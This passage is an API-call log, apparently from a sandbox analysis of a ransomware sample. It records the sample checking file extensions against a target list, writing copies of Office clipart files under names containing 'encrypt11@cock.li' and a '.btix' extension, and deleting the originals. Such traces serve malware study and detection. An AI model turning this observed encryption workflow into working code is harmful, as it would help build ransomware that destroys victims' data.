lpString2="_.WMF") returned -1 [0132.667] lstrlenW (lpString=".pdf") returned 4 [0132.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString=".xls") returned 4 [0132.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.667] lstrlenW (lpString=".xlsx") returned 5 [0132.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.667] lstrlenW (lpString=".ppt") returned 4 [0132.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.667] lstrlenW (lpString=".zip") returned 4 [0132.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.667] lstrlenW (lpString=".rar") returned 4 [0132.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString=".bz2") returned 4 [0132.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.667] lstrlenW (lpString=".7z") returned 3 [0132.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.667] lstrlenW (lpString=".dbf") returned 4 [0132.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.668] lstrlenW (lpString=".1cd") returned 4 [0132.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0132.668] lstrlenW (lpString=".jpg") returned 4 [0132.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.668] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.668] lstrlenW (lpString="HH01291_.WMF") returned 12 [0132.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.668] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=15806) returned 1 [0132.669] CloseHandle (hObject=0x4d4) returned 1 [0132.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0132.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0132.669] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.669] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0132.670] GetLastError () returned 0x0 [0132.670] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0132.922] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0132.923] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.923] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0132.923] SetEndOfFile (hFile=0x3c8) returned 1 [0132.924] CloseHandle (hObject=0x3c8) returned 1 [0132.924] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.924] SetEndOfFile (hFile=0x4d4) returned 1 [0132.926] CloseHandle (hObject=0x4d4) returned 1 [0132.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0132.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.927] lstrlenW (lpString=".doc") returned 4 [0132.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.927] lstrlenW (lpString=".docx") returned 5 [0132.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.927] lstrlenW (lpString=".pdf") returned 4 [0132.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.927] lstrlenW (lpString=".xls") returned 4 [0132.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.927] lstrlenW (lpString=".xlsx") returned 5 [0132.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.927] lstrlenW (lpString=".ppt") returned 4 [0132.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.927] lstrlenW (lpString=".zip") returned 4 [0132.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.928] lstrlenW (lpString=".rar") returned 4 [0132.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString=".bz2") returned 4 [0132.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString=".7z") returned 3 [0132.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.928] lstrlenW (lpString=".dbf") returned 4 [0132.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.928] lstrlenW (lpString=".1cd") returned 4 [0132.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.928] lstrlenW (lpString=".jpg") returned 4 [0132.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.928] lstrlenW (lpString=".doc") returned 4 [0132.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString=".docx") returned 5 [0132.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.928] lstrlenW (lpString=".pdf") returned 4 [0132.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString=".xls") returned 4 [0132.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.928] lstrlenW (lpString=".xlsx") returned 5 [0132.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.928] lstrlenW (lpString=".ppt") returned 4 [0132.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.928] lstrlenW (lpString=".zip") returned 4 [0132.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.928] lstrlenW (lpString=".rar") returned 4 [0132.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.928] lstrlenW (lpString=".bz2") returned 4 [0132.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.929] lstrlenW (lpString=".7z") returned 3 [0132.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.929] lstrlenW (lpString=".dbf") returned 4 [0132.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.929] lstrlenW (lpString=".1cd") returned 4 [0132.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0132.929] lstrlenW (lpString=".jpg") returned 4 [0132.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.929] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.929] lstrlenW (lpString="HH01875_.WMF") returned 12 [0132.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0133.526] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=2616) returned 1 [0133.526] CloseHandle (hObject=0x4b4) returned 1 [0133.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0133.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0133.532] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.532] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0133.882] GetLastError () returned 0x0 [0133.882] ReadFile (in: hFile=0x4b4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xa38, lpOverlapped=0x0) returned 1 [0133.886] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xa40, lpOverlapped=0x0) returned 1 [0133.887] ReadFile (in: hFile=0x4b4, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.887] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0133.887] SetEndOfFile (hFile=0x548) returned 1 [0133.887] CloseHandle (hObject=0x548) returned 1 [0133.887] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.888] SetEndOfFile (hFile=0x4b4) returned 1 [0133.890] CloseHandle (hObject=0x4b4) returned 1 [0133.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0133.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.891] lstrlenW (lpString=".doc") returned 4 [0133.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.891] lstrlenW (lpString=".docx") returned 5 [0133.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.891] lstrlenW (lpString=".pdf") returned 4 [0133.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.891] lstrlenW (lpString=".xls") returned 4 [0133.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.891] lstrlenW (lpString=".xlsx") returned 5 [0133.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.891] lstrlenW (lpString=".ppt") returned 4 [0133.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.891] lstrlenW (lpString=".zip") returned 4 [0133.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.891] lstrlenW (lpString=".rar") returned 4 [0133.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.891] lstrlenW (lpString=".bz2") returned 4 [0133.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString=".7z") returned 3 [0133.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.892] lstrlenW (lpString=".dbf") returned 4 [0133.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.892] lstrlenW (lpString=".1cd") returned 4 [0133.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.892] lstrlenW (lpString=".jpg") returned 4 [0133.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.892] lstrlenW (lpString=".doc") returned 4 [0133.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString=".docx") returned 5 [0133.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.892] lstrlenW (lpString=".pdf") returned 4 [0133.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString=".xls") returned 4 [0133.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.892] lstrlenW (lpString=".xlsx") returned 5 [0133.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.892] lstrlenW (lpString=".ppt") returned 4 [0133.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.892] lstrlenW (lpString=".zip") returned 4 [0133.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.892] lstrlenW (lpString=".rar") returned 4 [0133.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString=".bz2") returned 4 [0133.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.892] lstrlenW (lpString=".7z") returned 3 [0133.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.893] lstrlenW (lpString=".dbf") returned 4 [0133.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.893] lstrlenW (lpString=".1cd") returned 4 [0133.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0133.893] lstrlenW (lpString=".jpg") returned 4 [0133.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.963] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.963] lstrlenW (lpString="HM00114_.WMF") returned 12 [0133.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.964] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=22116) returned 1 [0133.964] CloseHandle (hObject=0x4a8) returned 1 [0133.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0133.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.965] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.965] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0133.966] GetLastError () returned 0x0 [0133.966] ReadFile (in: hFile=0x4a8, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x5664, lpOverlapped=0x0) returned 1 [0134.218] WriteFile (in: hFile=0x508, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5670, lpOverlapped=0x0) returned 1 [0134.223] ReadFile (in: hFile=0x4a8, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.223] WriteFile (in: hFile=0x508, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0134.223] SetEndOfFile (hFile=0x508) returned 1 [0134.228] CloseHandle (hObject=0x508) returned 1 [0134.233] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.233] SetEndOfFile (hFile=0x4a8) returned 1 [0134.252] CloseHandle (hObject=0x4a8) returned 1 [0134.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0134.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.253] lstrlenW (lpString=".doc") returned 4 [0134.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString=".docx") returned 5 [0134.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.253] lstrlenW (lpString=".pdf") returned 4 [0134.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString=".xls") returned 4 [0134.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.253] lstrlenW (lpString=".xlsx") returned 5 [0134.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.253] lstrlenW (lpString=".ppt") returned 4 [0134.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.253] lstrlenW (lpString=".zip") returned 4 [0134.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.253] lstrlenW (lpString=".rar") returned 4 [0134.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString=".bz2") returned 4 [0134.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString=".7z") returned 3 [0134.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.253] lstrlenW (lpString=".dbf") returned 4 [0134.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.253] lstrlenW (lpString=".1cd") returned 4 [0134.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString=".jpg") returned 4 [0134.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString=".doc") returned 4 [0134.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString=".docx") returned 5 [0134.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.254] lstrlenW (lpString=".pdf") returned 4 [0134.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString=".xls") returned 4 [0134.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.254] lstrlenW (lpString=".xlsx") returned 5 